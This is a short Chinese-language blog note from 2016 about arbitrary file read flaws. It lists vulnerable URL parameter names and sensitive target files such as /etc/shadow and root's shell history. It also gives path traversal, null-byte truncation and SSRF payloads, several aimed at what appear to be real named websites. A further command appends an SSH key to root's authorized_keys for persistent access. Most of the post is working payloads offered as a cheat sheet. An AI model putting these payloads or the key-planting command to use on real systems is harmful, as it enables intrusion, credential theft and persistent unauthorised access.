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Cyber Security / Data Science / Trading

漏洞手记-任意文件读取

[Penetration Testing]

2016-01-22 10:38:14 cdxy 漏洞,乌云,任意文件读取
阅读时间16.01.18 page1-3

敏感字段

&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF

可利用路径

/etc/shadow /etc/passwd /etc/hosts /root/.bash_history

找user add，cd，mysql，ssh，nohop看敏感目录和文件等

/etc/syscomfig/network-scripts/ifcfg-eth1

sed -i ‘/95_251/d’ /root/.ssh/authorized_keys

url=file:///etc/passwd url=http://10.29.5.24(ssrf内网探测)

/opt/nginx/conf/nginx.conf file:///,gopher://,ftp:// /configs/database.php

Payload

  1. http://...:8080/%c0%ae/WEB-INF/classes/com/huilan/application/action/PeopleBankAction.class
  2. 配合截断规则：/etc/passwd%00.jpg
  3. ../../../../../../../../../../etc/passwd%00.jpg
  4. http://www.zzvcom.com/cms/interface.jsp?time=41&data={readfile:%27/WEB-INF/classes/jdbc.properties%27}&jsoncallback=jsonp1442909681355
  5. http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
  6. http://www.intime.com.cn:8000/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini
  7. echo ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0jrJeJfEURdpG/jddXzk3zZYxQfdHbgPC4QYh5qx0F2SS1Q+uCW6j2cM/SxqhocfgDYw1CTikNTlJ43tzv1ozpSRjmLH26aTxGDUnXsvyVLeWdrjPni1FoVffW+LM0rZVh7A74Vi1bDr7IP7XjSMQU157rye7++G+eWA1NhscIiiJ/pwUKAjPSiEx+8DXN8ccTDyWrSnD+NfUQXPO4dVFu2MR5/VjLO2yWsVMwenCPwItf5xEwGqU5KbzxeTOyDnYYLk7UF6lBYpSDZC9U3mNL1alYgNnIbmZGYg921KFh28BRptDewh5MRDKmfMUSqeZpIZ95Pq8lG1sObcjNzDew== root@szmlserver95_251.easou.com >> /root/.ssh/authorized_keys